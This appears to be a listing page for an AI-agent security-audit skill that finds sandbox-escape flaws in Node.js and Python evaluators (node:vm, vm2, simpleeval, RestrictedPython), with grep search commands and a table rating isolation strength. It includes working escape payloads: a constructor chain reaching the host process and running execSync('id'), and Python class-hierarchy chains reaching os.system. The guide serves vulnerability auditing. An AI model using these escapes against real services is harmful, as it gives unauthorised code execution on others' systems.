From find-cve-agent
Detects VM/sandbox escape vulnerabilities in Node.js and Python packages using node:vm, vm2, simpleeval, RestrictedPython, or custom evaluators for untrusted code.
npx claudepluginhub byamb4/find-cve-agentThis skill uses the workspace's default tool permissions.
Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.
Identifies sandbox escape techniques including vm2 bypass, SSTI exploits in EJS/Jinja2/ERB, and restricted execution bypasses in Node.js, Python, Ruby during pentesting.
Audits packages for code injection vulnerabilities via dynamic code generation/evaluation using new Function(), eval(), vm.run*, or template interpolation in JS/TS, Python, Ruby, PHP.
Guides developers on security best practices for safe command execution, URL handling, credential management, supply chain safety, and avoiding reverse shells, command injection, malware.
Share bugs, ideas, or general feedback.
Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.
node:vm is NOT a security mechanism. The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses vm.runInNewContext() to isolate untrusted code, it is vulnerable.
The fundamental escape from node:vm:
// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the host
Then achieve RCE:
const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();
this refers to the sandbox objectthis.constructor is Object (from the outer realm)Object.constructor is Function (from the outer realm)Function('return process')() executes in the outer realmprocess gives access to require and the full Node.js API# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .
# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .
# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .
# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .
| Mechanism | Security Level | Notes |
|---|---|---|
| node:vm | NONE | Not a security boundary. Always escapable. |
| vm2 | LOW-MEDIUM | Deprecated. Multiple CVEs. Check version. |
| isolated-vm | HIGH | Separate V8 isolate. Genuinely isolated. |
| quickjs-emscripten | HIGH | Separate engine in Wasm. |
| Python simpleeval | MEDIUM | Safe for simple expressions. Check version. |
| Python ast.literal_eval | HIGH | Only allows literals. Safe. |
| RestrictedPython | MEDIUM | Check version for known bypasses. |
| Custom eval wrappers | LOW | Almost always bypassable. |
For node:vm, try these in order:
this.constructor.constructor('return process')()For Python, try:
().__class__.__base__.__subclasses__() -- access all loaded classes''.__class__.__mro__[1].__subclasses__() -- string class hierarchyfunc.__globals__, func.__code____builtins__ access through various chainsgrep -rn "freeze\|preventExtensions\|defineProperty" . # Object hardening
grep -rn "Proxy\|handler\|revocable" . # Proxy-based protection
grep -rn "whitelist\|allowlist\|blocklist" . # Function filtering
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('this.constructor.constructor("return process")()', sandbox);
// Returns the real process object
from simpleeval import simple_eval
# Access os module through class hierarchy
simple_eval("().__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('id')")
// Custom "safe" eval that blocks require/process/global
function safeEval(code) {
return new Function('require', 'process', 'global', code)(undefined, undefined, undefined);
}
// Bypass: arguments.callee.caller gives access to outer scope
// Or: this.constructor.constructor('return process')()